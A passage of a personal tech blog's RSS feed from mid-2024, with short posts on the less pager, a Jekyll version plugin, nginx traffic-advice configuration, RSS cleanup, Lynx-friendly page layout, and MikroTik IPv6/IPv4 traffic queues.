  2887.        # aj, 25.07.2024, turn it off again, as letsencrypt will disable it: https://letsencrypt.org/2024/07/23/replacing-ocsp-with-crls.html
  2888. # ssl_stapling on;</pre>
  2889. ]]></content:encoded>
  2890.  </item>
  2891.  
  2892.  <item>
  2893.    <title>Blog Directories</title>
  2894.    <link>https://blog.x-way.org/Misc/2024/07/24/Blog-Directories.html</link>
  2895.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324376</guid>
  2896.    <dc:creator>Andreas Jaggi</dc:creator>
  2897.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2898.    <pubDate>Wed, 24 Jul 2024 19:52:00 +0200</pubDate>
  2899.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2900.    <description><![CDATA[<p>There are some new blog directory sites popping up again. Nice way to discover niche personal sites outside of the big platforms.</p>
  2901. <ul>
  2902. <li><a href="https://ooh.directory/" title="ooh.directory: a place to find good blogs that interest you">ooh.directory</a></li>
  2903. <li><a href="https://personalsit.es/" title="PersonalSit.es | Yes we got hot and fresh sites">personalsit.es</a></li>
  2904. <li><a href="https://blogroll.org/" title="Ye Olde Blogroll - Blogroll.org">blogroll.org</a></li>
  2905. </ul>
  2906. ]]></description>
  2907.    <content:encoded><![CDATA[<p>There are some new blog directory sites popping up again. Nice way to discover niche personal sites outside of the big platforms.</p>
  2908. <ul>
  2909. <li><a href="https://ooh.directory/" title="ooh.directory: a place to find good blogs that interest you">ooh.directory</a></li>
  2910. <li><a href="https://personalsit.es/" title="PersonalSit.es | Yes we got hot and fresh sites">personalsit.es</a></li>
  2911. <li><a href="https://blogroll.org/" title="Ye Olde Blogroll - Blogroll.org">blogroll.org</a></li>
  2912. </ul>
  2913. ]]></content:encoded>
  2914.  </item>
  2915.  
  2916.  <item>
  2917.    <title>Less: a Survival Guide</title>
  2918.    <link>https://blog.x-way.org/Linux/2024/07/22/Less-a-Survival-Guide.html</link>
  2919.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324375</guid>
  2920.    <dc:creator>Andreas Jaggi</dc:creator>
  2921.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2922.    <pubDate>Mon, 22 Jul 2024 05:06:00 +0200</pubDate>
  2923.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  2924.    <description><![CDATA[<p><a href="https://zck.org/less-a-survival-guide" title="Less: a Survival Guide">Less: a Survival Guide</a> is a concise post from <a href="https://zck.org/" title="zck.org">zck.org</a> demystifying the features of <code>less</code>.</p>
  2925. <p>My two main takeaways were:</p>
  2926. <p>1. Configuring less via the <code>LESS</code> environment variable.<br>The following enables markers and highlighting for search &amp; jump actions, colored output and raw display of terminal escape sequences.</p>
  2927. <pre>export LESS="-J -W --use-color -R"</pre>
  2928. <p>2. Jumping to the start and end of a document with <kbd>g</kbd> and <kbd>G</kbd>.<br>I already used <kbd>/</kbd> for searching, but had always struggled to go back to the beginning of a document.</p>
  2929. ]]></description>
  2930.    <content:encoded><![CDATA[<p><a href="https://zck.org/less-a-survival-guide" title="Less: a Survival Guide">Less: a Survival Guide</a> is a concise post from <a href="https://zck.org/" title="zck.org">zck.org</a> demystifying the features of <code>less</code>.</p>
  2931. <p>My two main takeaways were:</p>
  2932. <p>1. Configuring less via the <code>LESS</code> environment variable.<br>The following enables markers and highlighting for search &amp; jump actions, colored output and raw display of terminal escape sequences.</p>
  2933. <pre>export LESS="-J -W --use-color -R"</pre>
  2934. <p>2. Jumping to the start and end of a document with <kbd>g</kbd> and <kbd>G</kbd>.<br>I already used <kbd>/</kbd> for searching, but had always struggled to go back to the beginning of a document.</p>
  2935. ]]></content:encoded>
  2936.  </item>
  2937.  
  2938.  <item>
  2939.    <title>Lego Space Age</title>
  2940.    <link>https://blog.x-way.org/Webdesign/2024/07/07/Lego-Space-Age.html</link>
  2941.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324374</guid>
  2942.    <dc:creator>Andreas Jaggi</dc:creator>
  2943.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2944.    <pubDate>Sun, 07 Jul 2024 16:43:00 +0200</pubDate>
  2945.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2946.    <description><![CDATA[<p><a href="https://blog.x-way.org/images/lego_space_age.webp" title="Lego Space Age"><img src="https://blog.x-way.org/images/lego_space_age_thumb.webp" width="500" height="375" alt="Lego Space Age"></a></p>
  2947.  
  2948. <p>While browsing for something unrelated, I came about this wonderful Lego set called <a href="https://www.lego.com/en-us/product/tales-of-the-space-age-21340" title="Tales of the Space Age 21340 | Ideas">'Tales of the Space Age'</a>.<br>
  2949. It was originally created by a fan designer through the Lego Ideas program and turned into this amazing looking Lego set.</p>
  2950.  
  2951. <p>I like the depiction of the space themed science fiction worlds very much, especially the beautiful color gradients giving each world a unique atmosphere.<br>
  2952. The provided <a href="https://www.lego.com/en-us/service/buildinginstructions/21340" title="Building Instructions">building instructions</a> <a href="https://blog.x-way.org/stuff/6500750.pdf" title="Postcards from space - Building Instructions">booklet</a> builds on top of this with illustrations enhancing the views of these worlds.</p>
  2953.  
  2954. <p>Looking at these four panels with the nice space themed color gradients inspired me to rebuild them in CSS.<br>
  2955. First I toyed around with one and then built the other three.</p>
  2956.  
  2957. <p>The outcome of this is now visible on <a href="https://www.andreasjaggi.ch/" title="www.andreasjaggi.ch">andreasjaggi.ch</a> where I replaced the previous entry page with the four color gradients.<br>
  2958. The <a href="https://blog.x-way.org/Webdesign/2024/06/18/More-modern-technologies.html" title="More modern technologies - x-log">previous version</a> is still available on <a href="https://www.andreas-jaggi.ch/" title="www.andreas-jaggi.ch">andreas-jaggi.ch</a> as I couldn't decide yet to retire it, so will be keeping both for now :-)</p>
  2959. ]]></description>
  2960.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/images/lego_space_age.webp" title="Lego Space Age"><img src="https://blog.x-way.org/images/lego_space_age_thumb.webp" width="500" height="375" alt="Lego Space Age"></a></p>
  2961.  
  2962. <p>While browsing for something unrelated, I came about this wonderful Lego set called <a href="https://www.lego.com/en-us/product/tales-of-the-space-age-21340" title="Tales of the Space Age 21340 | Ideas">'Tales of the Space Age'</a>.<br>
  2963. It was originally created by a fan designer through the Lego Ideas program and turned into this amazing looking Lego set.</p>
  2964.  
  2965. <p>I like the depiction of the space themed science fiction worlds very much, especially the beautiful color gradients giving each world a unique atmosphere.<br>
  2966. The provided <a href="https://www.lego.com/en-us/service/buildinginstructions/21340" title="Building Instructions">building instructions</a> <a href="https://blog.x-way.org/stuff/6500750.pdf" title="Postcards from space - Building Instructions">booklet</a> builds on top of this with illustrations enhancing the views of these worlds.</p>
  2967.  
  2968. <p>Looking at these four panels with the nice space themed color gradients inspired me to rebuild them in CSS.<br>
  2969. First I toyed around with one and then built the other three.</p>
  2970.  
  2971. <p>The outcome of this is now visible on <a href="https://www.andreasjaggi.ch/" title="www.andreasjaggi.ch">andreasjaggi.ch</a> where I replaced the previous entry page with the four color gradients.<br>
  2972. The <a href="https://blog.x-way.org/Webdesign/2024/06/18/More-modern-technologies.html" title="More modern technologies - x-log">previous version</a> is still available on <a href="https://www.andreas-jaggi.ch/" title="www.andreas-jaggi.ch">andreas-jaggi.ch</a> as I couldn't decide yet to retire it, so will be keeping both for now :-)</p>
  2973. ]]></content:encoded>
  2974.  </item>
  2975.  
  2976.  <item>
  2977.    <title>Jekyll version plugin</title>
  2978.    <link>https://blog.x-way.org/Coding/2024/07/06/Jekyll-version-plugin.html</link>
  2979.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324373</guid>
  2980.    <dc:creator>Andreas Jaggi</dc:creator>
  2981.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2982.    <pubDate>Sat, 06 Jul 2024 18:47:00 +0200</pubDate>
  2983.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  2984.    <description><![CDATA[<p>Recently I added a Generator section to the <a href="https://blog.x-way.org/about.html" title="x-log - About">about page</a> with minimal information about how this page was generated.<br>As part of this it now also shows the version of the <a href="https://jekyllrb.com/" title="Jekyll • Simple, blog-aware, static sites | Transform your plain text into static websites and blogs">Jekyll</a> software that was used to generate everything.</p>
  2985. <p>Surprisingly there seems to be no built-in way to get the version as a template tag.<br>Thus I wrote this mini-plugin to provide such a <code>{% jekyll_version %}</code> tag that can be used to get the version of Jekyll while it is processing the pages.</p>
  2986. <p>To use it with your own Jekyll, simply store the below code in a <code>_plugins/jekyll_version_plugin.rb</code> file.</p>
  2987. <pre># frozen_string_literal: true
  2988. module Jekyll
  2989.  class VersionTag &lt; Liquid::Tag
  2990.    def render(context)
  2991.      Jekyll::VERSION
  2992.    end
  2993.  end
  2994. end
  2995.  
  2996. Liquid::Template.register_tag("jekyll_version", Jekyll::VersionTag)</pre>
  2997. ]]></description>
  2998.    <content:encoded><![CDATA[<p>Recently I added a Generator section to the <a href="https://blog.x-way.org/about.html" title="x-log - About">about page</a> with minimal information about how this page was generated.<br>As part of this it now also shows the version of the <a href="https://jekyllrb.com/" title="Jekyll • Simple, blog-aware, static sites | Transform your plain text into static websites and blogs">Jekyll</a> software that was used to generate everything.</p>
  2999. <p>Surprisingly there seems to be no built-in way to get the version as a template tag.<br>Thus I wrote this mini-plugin to provide such a <code>{% jekyll_version %}</code> tag that can be used to get the version of Jekyll while it is processing the pages.</p>
  3000. <p>To use it with your own Jekyll, simply store the below code in a <code>_plugins/jekyll_version_plugin.rb</code> file.</p>
  3001. <pre># frozen_string_literal: true
  3002. module Jekyll
  3003.  class VersionTag &lt; Liquid::Tag
  3004.    def render(context)
  3005.      Jekyll::VERSION
  3006.    end
  3007.  end
  3008. end
  3009.  
  3010. Liquid::Template.register_tag("jekyll_version", Jekyll::VersionTag)</pre>
  3011. ]]></content:encoded>
  3012.  </item>
  3013.  
  3014.  <item>
  3015.    <title>More statistics tuning</title>
  3016.    <link>https://blog.x-way.org/Webdesign/2024/07/06/More-statistics-tuning.html</link>
  3017.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324372</guid>
  3018.    <dc:creator>Andreas Jaggi</dc:creator>
  3019.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3020.    <pubDate>Sat, 06 Jul 2024 18:10:00 +0200</pubDate>
  3021.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3022.    <description><![CDATA[<p>After <a href="https://blog.x-way.org/Webdesign/2024/06/30/Improved-text-only-UX.html" title="Improved text-only UX">last weeks work</a> on the <a href="https://blog.x-way.org/statistics.html" title="x-log - Statistics">statistics page</a>, I was still not completely happy with how it renders in text-only browsers.</p>
  3023. <p>Thus the idea of adding <code>&lt;th&gt;</code> headers to the two rows of numbers.<br>This turned out quite well and helped to make things more clear as you can see in this screenshot.</p>
  3024. <p><img src="https://blog.x-way.org/images/lynx-statistics-improved.png" alt="Screenshot of Lynx rendering the improved statistics page" width="720" height="423"></p>
  3025. <p>I initially wanted to use the <code>:first-child</code> selector to hide these additional table headers in graphical web browsers.<br>But didn't get it right with the first try, so the header still showed.</p>
  3026. <p>This actually didn't look that bad, and so I decided to keep the headers visible and styled them nicely so they integrate well with the rest of the statistics table.<br>This is how the <a href="https://blog.x-way.org/statistics.html" title="x-log - Statistics">statistics page</a> now looks in a graphical web browser.</p>
  3027. <p><img src="https://blog.x-way.org/images/firefox-statistics-improved.png" alt="Screenshot of Firefox rendering the improved statistics page" width="720" height="465"></p>
  3028. ]]></description>
  3029.    <content:encoded><![CDATA[<p>After <a href="https://blog.x-way.org/Webdesign/2024/06/30/Improved-text-only-UX.html" title="Improved text-only UX">last weeks work</a> on the <a href="https://blog.x-way.org/statistics.html" title="x-log - Statistics">statistics page</a>, I was still not completely happy with how it renders in text-only browsers.</p>
  3030. <p>Thus the idea of adding <code>&lt;th&gt;</code> headers to the two rows of numbers.<br>This turned out quite well and helped to make things more clear as you can see in this screenshot.</p>
  3031. <p><img src="https://blog.x-way.org/images/lynx-statistics-improved.png" alt="Screenshot of Lynx rendering the improved statistics page" width="720" height="423"></p>
  3032. <p>I initially wanted to use the <code>:first-child</code> selector to hide these additional table headers in graphical web browsers.<br>But didn't get it right with the first try, so the header still showed.</p>
  3033. <p>This actually didn't look that bad, and so I decided to keep the headers visible and styled them nicely so they integrate well with the rest of the statistics table.<br>This is how the <a href="https://blog.x-way.org/statistics.html" title="x-log - Statistics">statistics page</a> now looks in a graphical web browser.</p>
  3034. <p><img src="https://blog.x-way.org/images/firefox-statistics-improved.png" alt="Screenshot of Firefox rendering the improved statistics page" width="720" height="465"></p>
  3035. ]]></content:encoded>
  3036.  </item>
  3037.  
  3038.  <item>
  3039.    <title>Improved text-only UX</title>
  3040.    <link>https://blog.x-way.org/Webdesign/2024/06/30/Improved-text-only-UX.html</link>
  3041.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324371</guid>
  3042.    <dc:creator>Andreas Jaggi</dc:creator>
  3043.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3044.    <pubDate>Sun, 30 Jun 2024 21:37:00 +0200</pubDate>
  3045.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3046.    <description><![CDATA[<p>Some time ago I read <a href="https://danq.me/2024/05/01/test-your-site-in-lynx/" title="Test your site in Lynx – Dan Q">this article from Dan Q</a> about testing your website in a text-only browser (<a href="https://en.wikipedia.org/wiki/Lynx_(web_browser)" title="Lynx (web browser) - Wikipedia">Lynx</a>, which is the oldest web browser still being maintained, started in 1992).</p>
  3047. <p>Surfing through my blog with Lynx, I was positively surprised in how well the content and structure was presented.<br>Seems like the modernization and simplification efforts of the HTML code behind the scenes paid off well.</p>
  3048. <p>The <a href="https://blog.x-way.org/statistics.html" title="x-log - Statistics">statistics page</a> though was not really usable, it was displayed as a random soup of numbers due to the usage of unstructured <code>&lt;div&gt;</code> tags for the elements of the visual graphs.</p>
  3049. <p>To fix this I reverted back to using <code>&lt;table&gt;</code> tags to structure the data.<br>This way the layout degrades gracefully in text-only browsers and provides a minimally structured representation of the data.<br>And I applied <a href="https://blog.x-way.org/Webdesign/2024/06/18/More-modern-technologies.html" title="More modern technologies - x-log">the newly learned CSS skills</a> (<code>linear-gradient</code> backgrounds) to achieve the same visual graph as beforehand when opening the page in a regular browser.</p>
  3050. <p><img src="https://blog.x-way.org/images/lynx-statistics.png" alt="Screenshot of Lynx rendering the statistics page" width="720" height="423"></p>
  3051. ]]></description>
  3052.    <content:encoded><![CDATA[<p>Some time ago I read <a href="https://danq.me/2024/05/01/test-your-site-in-lynx/" title="Test your site in Lynx – Dan Q">this article from Dan Q</a> about testing your website in a text-only browser (<a href="https://en.wikipedia.org/wiki/Lynx_(web_browser)" title="Lynx (web browser) - Wikipedia">Lynx</a>, which is the oldest web browser still being maintained, started in 1992).</p>
  3053. <p>Surfing through my blog with Lynx, I was positively surprised in how well the content and structure was presented.<br>Seems like the modernization and simplification efforts of the HTML code behind the scenes paid off well.</p>
  3054. <p>The <a href="https://blog.x-way.org/statistics.html" title="x-log - Statistics">statistics page</a> though was not really usable, it was displayed as a random soup of numbers due to the usage of unstructured <code>&lt;div&gt;</code> tags for the elements of the visual graphs.</p>
  3055. <p>To fix this I reverted back to using <code>&lt;table&gt;</code> tags to structure the data.<br>This way the layout degrades gracefully in text-only browsers and provides a minimally structured representation of the data.<br>And I applied <a href="https://blog.x-way.org/Webdesign/2024/06/18/More-modern-technologies.html" title="More modern technologies - x-log">the newly learned CSS skills</a> (<code>linear-gradient</code> backgrounds) to achieve the same visual graph as beforehand when opening the page in a regular browser.</p>
  3056. <p><img src="https://blog.x-way.org/images/lynx-statistics.png" alt="Screenshot of Lynx rendering the statistics page" width="720" height="423"></p>
  3057. ]]></content:encoded>
  3058.  </item>
  3059.  
  3060.  <item>
  3061.    <title>.well-known/traffic-advice</title>
  3062.    <link>https://blog.x-way.org/Webdesign/2024/06/29/well-known-traffic-advice.html</link>
  3063.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324370</guid>
  3064.    <dc:creator>Andreas Jaggi</dc:creator>
  3065.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3066.    <pubDate>Sat, 29 Jun 2024 09:48:00 +0200</pubDate>
  3067.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3068.    <description><![CDATA[<p>While looking at my 404s the top one for the blog was <code>/.well-known/traffic-advice</code>.<br>
  3069. This is part of the traffic advice mechanism to control traffic from prefetch proxies (and based on my current access logs, seems only used by the <a href="https://developer.chrome.com/blog/private-prefetch-proxy/" title="Private prefetch proxy in Chrome">Chrome Privacy Preserving Prefetch Proxy</a>).</p>
  3070. <p>The traffic advice mechanism is specified in the document <a href="https://buettner.github.io/private-prefetch-proxy/traffic-advice.html" title="Traffic Advice">here</a>.<br>
  3071. It can be used to reduce the number of requests coming from prefetch proxies.</p>
  3072. <p>To get rid of the 404s and provide support for the traffic advice mechanism, I use the following snippet in my nginx config.<br>
  3073. It allows all requests from prefetch proxies (as currently I see no need to limit them).</p>
  3074. <pre># Private Prefetch Proxy
  3075. # https://developer.chrome.com/blog/private-prefetch-proxy/
  3076. location /.well-known/traffic-advice {
  3077.        types { } default_type "application/trafficadvice+json";
  3078.        return 200 '[{"user_agent":"prefetch-proxy","fraction":1.0}]';
  3079. }</pre>
  3080. ]]></description>
  3081.    <content:encoded><![CDATA[<p>While looking at my 404s the top one for the blog was <code>/.well-known/traffic-advice</code>.<br>
  3082. This is part of the traffic advice mechanism to control traffic from prefetch proxies (and based on my current access logs, seems only used by the <a href="https://developer.chrome.com/blog/private-prefetch-proxy/" title="Private prefetch proxy in Chrome">Chrome Privacy Preserving Prefetch Proxy</a>).</p>
  3083. <p>The traffic advice mechanism is specified in the document <a href="https://buettner.github.io/private-prefetch-proxy/traffic-advice.html" title="Traffic Advice">here</a>.<br>
  3084. It can be used to reduce the number of requests coming from prefetch proxies.</p>
  3085. <p>To get rid of the 404s and provide support for the traffic advice mechanism, I use the following snippet in my nginx config.<br>
  3086. It allows all requests from prefetch proxies (as currently I see no need to limit them).</p>
  3087. <pre># Private Prefetch Proxy
  3088. # https://developer.chrome.com/blog/private-prefetch-proxy/
  3089. location /.well-known/traffic-advice {
  3090.        types { } default_type "application/trafficadvice+json";
  3091.        return 200 '[{"user_agent":"prefetch-proxy","fraction":1.0}]';
  3092. }</pre>
  3093. ]]></content:encoded>
  3094.  </item>
  3095.  
  3096.  <item>
  3097.    <title>RSS feed tuning</title>
  3098.    <link>https://blog.x-way.org/Webdesign/2024/06/23/RSS-feed-tuning.html</link>
  3099.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324369</guid>
  3100.    <dc:creator>Andreas Jaggi</dc:creator>
  3101.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3102.    <pubDate>Sun, 23 Jun 2024 16:44:00 +0200</pubDate>
  3103.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  3104.    <description><![CDATA[<p>After the <a href="https://blog.x-way.org/Webdesign/2024/06/16/Jumping-on-the-Web-Components-bandwagon.html" title="Jumping on the Web Components bandwagon - x-log">recent addition of custom Web Components</a>, the usual <a href="https://www.rssboard.org/rss-validator/" title="RSS Validator">feed</a> <a href="https://validator.w3.org/feed/" title="W3C Feed Validation Service, for Atom and RSS">validators</a> were a bit less happy about my <a href="https://blog.x-way.org/rss.xml">RSS</a> and <a href="https://blog.x-way.org/atom.xml">Atom</a> feeds.</p>
  3105. <p>They always marked my feeds as valid, but usually had some recommendations to improve interoperability with the widest range of feed readers.<br>In particular having non-HTML5 elements does not help with interoperability. Which makes sense as there is no real place in the XML of the feeds to reference the needed JavaScript for rendering the Web Components.</p>
  3106. <p>Besides stripping away the &lt;youtube-vimeo-embed&gt; tags and replacing them with a link to the video, I took this opportunity to cleanup some other 'Altlasten' (legacy tech depts).<br>A lot of time was spent trying to get my head around various encodings/escapings of special characters. When the blog started in 2002, UTF-8 was not adopted yet and all special characters needed to be written as <a href="https://developer.mozilla.org/en-US/docs/Glossary/Character_reference" title="Character reference - MDN">HTML entities</a>.<br>And what didn't help is that I somehow had a text-only part in my RSS file which tried to deliver a version of my posts without any HTML (but failed to do so properly as it only had the tags stripped away but did not revert all the HTML character encodings.<br>Of course the various resulting &amp; characters nicely clash with XML encoding).</p>
  3107. <p>There were some other oddities from the past, such as empty post titles and HTML tags inside titles.</p>
  3108. <p>I ended up cleaning up most of this and got rid of the text-only representation and corresponding encoding/escaping problems. (using <code>&lt;![CDATA[</code> and <code>]]&gt;</code> with the HTML content inside makes life so much easier)</p>
  3109. <p>The still remaing recommendations to improve are about relative links and <code>&lt;script&gt;</code> tags.<br>The relative links are all due to my replacing of dead and non-archived link destinations with a single <code>#</code>. So they are more a 'false postive' than a real problem, the links are dead either way.<br>The <code>&lt;script&gt;</code> tags are more problematic, as they result from my embedding of <a href="https://gist.github.com/" title="Discover Discover gists · GitHub">GitHub Gists</a> in posts. The code in the Gists is loaded, rendered and nicely highlighted with color by the script, thus not easy to replicate in a feed.</p>
  3110. <p>Probably the best approach for the Gists would be to find a way to properly include the content into the posts. So that it is rendered nicely when viewed in a browser, and has a meaningful text-only fallback in the feeds.<br>Would make sense to self-hosts these anyways. Next rainy weekend project there you are :-)</p>
  3111. <p><a href="https://www.rssboard.org/rss-validator/check.cgi?url=http%3A%2F%2Fblog.x-way.org%2Frss.xml" title="RSS Validator Results: http://blog.x-way.org/rss.xml"><img src="https://blog.x-way.org/images/valid-rss-rogers.png" width="88" height="31" alt="This is a valid RSS feed."></a> <a href="https://validator.w3.org/feed/check.cgi?url=https%3A%2F%2Fblog.x-way.org%2Fatom.xml" title="Feed Validator Results: https://blog.x-way.org/atom.xml"><img src="https://blog.x-way.org/images/valid-atom.png" width="88" height="31" alt="This is a valid Atom 1.0 feed."></a></p>
  3112. ]]></description>
  3113.    <content:encoded><![CDATA[<p>After the <a href="https://blog.x-way.org/Webdesign/2024/06/16/Jumping-on-the-Web-Components-bandwagon.html" title="Jumping on the Web Components bandwagon - x-log">recent addition of custom Web Components</a>, the usual <a href="https://www.rssboard.org/rss-validator/" title="RSS Validator">feed</a> <a href="https://validator.w3.org/feed/" title="W3C Feed Validation Service, for Atom and RSS">validators</a> were a bit less happy about my <a href="https://blog.x-way.org/rss.xml">RSS</a> and <a href="https://blog.x-way.org/atom.xml">Atom</a> feeds.</p>
  3114. <p>They always marked my feeds as valid, but usually had some recommendations to improve interoperability with the widest range of feed readers.<br>In particular having non-HTML5 elements does not help with interoperability. Which makes sense as there is no real place in the XML of the feeds to reference the needed JavaScript for rendering the Web Components.</p>
  3115. <p>Besides stripping away the &lt;youtube-vimeo-embed&gt; tags and replacing them with a link to the video, I took this opportunity to cleanup some other 'Altlasten' (legacy tech depts).<br>A lot of time was spent trying to get my head around various encodings/escapings of special characters. When the blog started in 2002, UTF-8 was not adopted yet and all special characters needed to be written as <a href="https://developer.mozilla.org/en-US/docs/Glossary/Character_reference" title="Character reference - MDN">HTML entities</a>.<br>And what didn't help is that I somehow had a text-only part in my RSS file which tried to deliver a version of my posts without any HTML (but failed to do so properly as it only had the tags stripped away but did not revert all the HTML character encodings.<br>Of course the various resulting &amp; characters nicely clash with XML encoding).</p>
  3116. <p>There were some other oddities from the past, such as empty post titles and HTML tags inside titles.</p>
  3117. <p>I ended up cleaning up most of this and got rid of the text-only representation and corresponding encoding/escaping problems. (using <code>&lt;![CDATA[</code> and <code>]]&gt;</code> with the HTML content inside makes life so much easier)</p>
  3118. <p>The still remaing recommendations to improve are about relative links and <code>&lt;script&gt;</code> tags.<br>The relative links are all due to my replacing of dead and non-archived link destinations with a single <code>#</code>. So they are more a 'false postive' than a real problem, the links are dead either way.<br>The <code>&lt;script&gt;</code> tags are more problematic, as they result from my embedding of <a href="https://gist.github.com/" title="Discover Discover gists · GitHub">GitHub Gists</a> in posts. The code in the Gists is loaded, rendered and nicely highlighted with color by the script, thus not easy to replicate in a feed.</p>
  3119. <p>Probably the best approach for the Gists would be to find a way to properly include the content into the posts. So that it is rendered nicely when viewed in a browser, and has a meaningful text-only fallback in the feeds.<br>Would make sense to self-hosts these anyways. Next rainy weekend project there you are :-)</p>
  3120. <p><a href="https://www.rssboard.org/rss-validator/check.cgi?url=http%3A%2F%2Fblog.x-way.org%2Frss.xml" title="RSS Validator Results: http://blog.x-way.org/rss.xml"><img src="https://blog.x-way.org/images/valid-rss-rogers.png" width="88" height="31" alt="This is a valid RSS feed."></a> <a href="https://validator.w3.org/feed/check.cgi?url=https%3A%2F%2Fblog.x-way.org%2Fatom.xml" title="Feed Validator Results: https://blog.x-way.org/atom.xml"><img src="https://blog.x-way.org/images/valid-atom.png" width="88" height="31" alt="This is a valid Atom 1.0 feed."></a></p>
  3121. ]]></content:encoded>
  3122.  </item>
  3123.  
  3124.  <item>
  3125.    <title>sibatable</title>
  3126.    <link>https://blog.x-way.org/Food/2024/06/22/sibatable.html</link>
  3127.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324368</guid>
  3128.    <dc:creator>Andreas Jaggi</dc:creator>
  3129.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3130.    <pubDate>Sat, 22 Jun 2024 20:06:00 +0200</pubDate>
  3131.    <category domain="https://blog.x-way.org/Food/">Food</category>
  3132.    <description><![CDATA[<p><a href="https://blog.x-way.org/images/sibatable.jpg" title="sibatable"><img src="https://blog.x-way.org/images/sibatable_thumb.jpg" width="446" height="431" alt="A bowl of ramen with the rice and eggs decorated so that they look like a chicken with her chicks."></a></p>
  3133. <p>Amazing food art by <a href="https://www.instagram.com/sibatable/" title="시바테이블 (&#064;sibatable) • Instagram">sibatable</a>.</p>
  3134. <p>Besides the <a href="https://www.instagram.com/sibatable/" title="시바테이블 (&#064;sibatable) • Instagram">Instagram page</a> and the <a href="https://ohou.se/users/8132629" title="sibatable님의 공간에 오신 것을 환영합니다.">ohou.se page</a> check out the articles from <a href="https://www.tapasmagazine.es/en/sibatable-the-aesthetisation-food-through-fantasy/" title="Sibatable, the aestheticisation of food through fantasy - Tapas">Tapas</a> and <a href="https://mymodernmet.com/min-kyung-kin-sibatable-animal-food-art/" title="Super Cute Animal Food Art by Korean Artist">My Modern Met</a> for more infos about the artist.</p>
  3135. <p>(<a href="https://labnotes.org/weekend-reading-occams-shaving-kit/" title="Weekend Reading — Occam&#x27;s shaving kit —  Labnotes (by Assaf Arkin)">via</a>)</p>
  3136. ]]></description>
  3137.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/images/sibatable.jpg" title="sibatable"><img src="https://blog.x-way.org/images/sibatable_thumb.jpg" width="446" height="431" alt="A bowl of ramen with the rice and eggs decorated so that they look like a chicken with her chicks."></a></p>
  3138. <p>Amazing food art by <a href="https://www.instagram.com/sibatable/" title="시바테이블 (&#064;sibatable) • Instagram">sibatable</a>.</p>
  3139. <p>Besides the <a href="https://www.instagram.com/sibatable/" title="시바테이블 (&#064;sibatable) • Instagram">Instagram page</a> and the <a href="https://ohou.se/users/8132629" title="sibatable님의 공간에 오신 것을 환영합니다.">ohou.se page</a> check out the articles from <a href="https://www.tapasmagazine.es/en/sibatable-the-aesthetisation-food-through-fantasy/" title="Sibatable, the aestheticisation of food through fantasy - Tapas">Tapas</a> and <a href="https://mymodernmet.com/min-kyung-kin-sibatable-animal-food-art/" title="Super Cute Animal Food Art by Korean Artist">My Modern Met</a> for more infos about the artist.</p>
  3140. <p>(<a href="https://labnotes.org/weekend-reading-occams-shaving-kit/" title="Weekend Reading — Occam&#x27;s shaving kit —  Labnotes (by Assaf Arkin)">via</a>)</p>
  3141. ]]></content:encoded>
  3142.  </item>
  3143.  
  3144.  <item>
  3145.    <title>IPv6 vs IPv4 traffic graphs in MikroTik</title>
  3146.    <link>https://blog.x-way.org/Networking/2024/06/22/IPv6-vs-IPv4-traffic-graphs-in-MikroTik.html</link>
  3147.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324367</guid>
  3148.    <dc:creator>Andreas Jaggi</dc:creator>
  3149.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  3150.    <pubDate>Sat, 22 Jun 2024 12:32:00 +0200</pubDate>
  3151.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  3152.    <description><![CDATA[<p>Out of curiosity I wanted to know how much of my Internet traffic uses IPv6 vs the <a href="https://blog.x-way.org/Networking/2013/07/05/Mandatory-requirement-for-all-non-IPv6-capable-products.html">legacy IPv4</a>.</p>
  3153. <p>There is no out-of-the-box graph for this in MikroTik.<br>Several forum and Stack Overflow posts suggest using ratelimiting queues with their graphing feature to collect this data.<p>
  3154. <p>After experimenting a bit, I ended up with the following configuration which creates two queues to collect the traffic data.<br>Important to know, traffic flows on a first-match basis through the queues. Thus the trick of having first the queue matching IPv6 traffic and then the queue matching all the remaining traffic.<br>Also, I use <code>10G</code> as 'unreachable' traffic limit to avoid any traffic being ratelimited. This works well for my 1Gbit/s setup, but will need to be adjusted if you have a higher bandwidth.</p>
  3155. <pre>/queue simple add limit-at=10G/10G max-limit=10G/10G name=v6-traffic queue=ethernet-default/ethernet-default target=2000::/3 total-queue=ethernet-default
  3156. /queue simple add limit-at=10G/10G max-limit=10G/10G name=v4-traffic queue=ethernet-default/ethernet-default target="" total-queue=ethernet-default</pre>
  3157. <p>Having the queues in place for a couple days results in the following graphs:</p>
